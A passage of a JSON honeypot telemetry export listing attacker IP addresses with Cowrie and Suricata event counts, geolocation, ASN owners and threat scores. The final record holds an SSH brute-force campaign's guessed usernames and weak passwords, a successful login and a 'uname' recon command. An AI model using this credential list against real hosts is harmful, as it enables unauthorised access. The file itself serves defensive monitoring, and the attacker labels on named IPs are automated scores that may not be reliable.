      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:39:40.204000+00:00",
        "last_seen_30d": "2026-03-16T22:52:24.907000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "109.205.56.11": {
      "attack_count": 2,
      "first_seen": "2026-03-18T14:14:35.631Z",
      "last_seen": "2026-03-18T14:16:35.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 64439,
      "as_org": "IT Outsourcing LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:14:35.631000+00:00",
        "last_seen_30d": "2026-03-18T14:26:40.458000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.231.251.144": {
      "attack_count": 2,
      "first_seen": "2026-03-21T08:32:36.935Z",
      "last_seen": "2026-03-21T08:32:50.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T08:32:36.935000+00:00",
        "last_seen_30d": "2026-03-21T08:33:58.344000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.197.247.52": {
      "attack_count": 2,
      "first_seen": "2026-03-14T21:20:25.655Z",
      "last_seen": "2026-03-14T21:20:37.782Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 9617,
      "as_org": "JCOM Co., Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T21:20:25.655000+00:00",
        "last_seen_30d": "2026-03-14T21:21:43.550000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.133.214.146": {
      "attack_count": 2,
      "first_seen": "2026-03-03T11:00:35.825Z",
      "last_seen": "2026-03-03T11:02:35.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:00:35.825000+00:00",
        "last_seen_30d": "2026-03-03T11:12:38.114000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "125.228.119.201": {
      "attack_count": 2,
      "first_seen": "2026-03-21T17:11:46.262Z",
      "last_seen": "2026-03-21T17:11:59.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T17:11:46.262000+00:00",
        "last_seen_30d": "2026-03-21T17:13:00.460000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.94.203.189": {
      "attack_count": 2,
      "first_seen": "2026-03-29T19:00:07.441Z",
      "last_seen": "2026-03-29T19:00:38.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Novo Progresso",
      "asn": 264169,
      "as_org": "WNP INTERNET",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T19:00:07.441000+00:00",
        "last_seen_30d": "2026-03-29T19:01:39.829000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "150.136.222.129": {
      "attack_count": 2,
      "first_seen": "2026-03-23T13:19:10.501Z",
      "last_seen": "2026-03-23T13:19:41.134Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T13:19:10.501000+00:00",
        "last_seen_30d": "2026-03-23T13:20:46.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.83.126.230": {
      "attack_count": 2,
      "first_seen": "2026-03-21T08:31:42.285Z",
      "last_seen": "2026-03-21T08:32:13.544Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Posadas",
      "asn": 263774,
      "as_org": "MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T08:31:42.285000+00:00",
        "last_seen_30d": "2026-03-21T08:33:21.514000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.0.225.216": {
      "attack_count": 2,
      "first_seen": "2026-03-06T10:31:30.754Z",
      "last_seen": "2026-03-06T10:32:02.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Santa Rosa de Calamuchita",
      "asn": 263230,
      "as_org": "COOPERATIVAS DE CALAMUCHITA - CONSORCIO DE COOPERACION",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:31:30.754000+00:00",
        "last_seen_30d": "2026-03-06T10:33:03.537000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.110.128.149": {
      "attack_count": 2,
      "first_seen": "2026-03-20T09:16:12.787Z",
      "last_seen": "2026-03-20T09:16:32.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Monsenhor Paulo",
      "asn": 53127,
      "as_org": "VB Telecom Com. e Serv. de Info Ltda",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:16:12.787000+00:00",
        "last_seen_30d": "2026-03-20T09:17:37.556000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.162.254.210": {
      "attack_count": 2,
      "first_seen": "2026-03-16T23:11:59.186Z",
      "last_seen": "2026-03-16T23:12:30.661Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T23:11:59.186000+00:00",
        "last_seen_30d": "2026-03-16T23:13:31.921000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.127": {
      "attack_count": 2,
      "first_seen": "2026-03-28T16:36:40.349Z",
      "last_seen": "2026-03-28T16:37:12.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:41:20.416000+00:00",
        "last_seen_30d": "2026-03-31T02:15:39.375000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 28,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "200.75.159.139": {
      "attack_count": 2,
      "first_seen": "2026-03-05T04:09:44.330Z",
      "last_seen": "2026-03-05T04:09:57.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 11562,
      "as_org": "Net Uno, C.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:09:44.330000+00:00",
        "last_seen_30d": "2026-03-05T04:11:04.311000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.38.90.188": {
      "attack_count": 2,
      "first_seen": "2026-03-16T03:29:42.348Z",
      "last_seen": "2026-03-16T03:29:42.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:29:42.348000+00:00",
        "last_seen_30d": "2026-03-16T03:30:42.973000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "210.104.42.40": {
      "attack_count": 2,
      "first_seen": "2026-03-15T13:44:24.111Z",
      "last_seen": "2026-03-15T13:44:37.377Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yecheon-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:44:24.111000+00:00",
        "last_seen_30d": "2026-03-15T13:45:40.745000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.171.56.25": {
      "attack_count": 2,
      "first_seen": "2026-03-08T01:01:56.080Z",
      "last_seen": "2026-03-08T01:02:08.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Ginowan",
      "asn": 2518,
      "as_org": "BIGLOBE Inc.",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 8.5,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:33:47.731000+00:00",
        "last_seen_30d": "2026-03-29T21:31:42.833000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "41.59.58.120": {
      "attack_count": 2,
      "first_seen": "2026-03-21T03:28:44.831Z",
      "last_seen": "2026-03-21T03:28:57.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:28:44.831000+00:00",
        "last_seen_30d": "2026-03-21T03:30:03.696000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.55.44.193": {
      "attack_count": 2,
      "first_seen": "2026-03-29T19:41:55.337Z",
      "last_seen": "2026-03-29T19:42:08.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T19:41:55.337000+00:00",
        "last_seen_30d": "2026-03-29T19:43:16.591000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.124.5.77": {
      "attack_count": 2,
      "first_seen": "2026-03-10T09:11:43.749Z",
      "last_seen": "2026-03-10T09:11:58.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45775,
      "as_org": "WISH NET PRIVATE LIMITED",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:11:43.749000+00:00",
        "last_seen_30d": "2026-03-10T09:12:59.988000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.128.116": {
      "attack_count": 2,
      "first_seen": "2026-03-06T19:06:02.243Z",
      "last_seen": "2026-03-06T19:06:07.526Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T19:06:02.243000+00:00",
        "last_seen_30d": "2026-03-28T11:12:36.087000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Tanner": 11,
        "Cowrie": 2
      }
    },
    "45.173.37.136": {
      "attack_count": 2,
      "first_seen": "2026-03-14T20:21:58.135Z",
      "last_seen": "2026-03-14T20:22:11.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268790,
      "as_org": "EASY NET TELECOMUNICACOES LTDA",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:21:58.135000+00:00",
        "last_seen_30d": "2026-03-14T20:23:18.044000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.100.55.101": {
      "attack_count": 2,
      "first_seen": "2026-03-21T14:26:17.472Z",
      "last_seen": "2026-03-21T14:26:31.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Burlington",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T14:26:17.472000+00:00",
        "last_seen_30d": "2026-03-21T14:27:38.584000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "54.67.65.165": {
      "attack_count": 2,
      "first_seen": "2026-03-29T01:31:45.943Z",
      "last_seen": "2026-03-29T01:31:56.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T01:31:45.943000+00:00",
        "last_seen_30d": "2026-03-29T01:32:57.761000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.11.28.250": {
      "attack_count": 2,
      "first_seen": "2026-03-03T13:03:29.911Z",
      "last_seen": "2026-03-03T13:03:44.595Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:03:29.911000+00:00",
        "last_seen_30d": "2026-03-03T13:04:50.516000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.125.160.249": {
      "attack_count": 2,
      "first_seen": "2026-03-23T15:40:58.571Z",
      "last_seen": "2026-03-23T15:41:12.560Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 6821,
      "as_org": "Makedonski Telekom AD-Skopje",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T15:40:58.571000+00:00",
        "last_seen_30d": "2026-03-23T15:42:16.636000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.224.92.137": {
      "attack_count": 2,
      "first_seen": "2026-03-15T14:54:22.785Z",
      "last_seen": "2026-03-15T14:54:23.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12699,
        "days_active_30d": 7,
        "ports_targeted_30d": 6618,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-15T14:54:22.785000+00:00",
        "last_seen_30d": "2026-03-21T19:24:24.703000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6350,
        "Honeytrap": 6347,
        "Cowrie": 2
      }
    },
    "209.97.134.24": {
      "attack_count": 3528,
      "first_seen": "2026-03-04T12:22:17.933Z",
      "last_seen": "2026-03-04T12:58:07.347Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4956,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:22:17.933000+00:00",
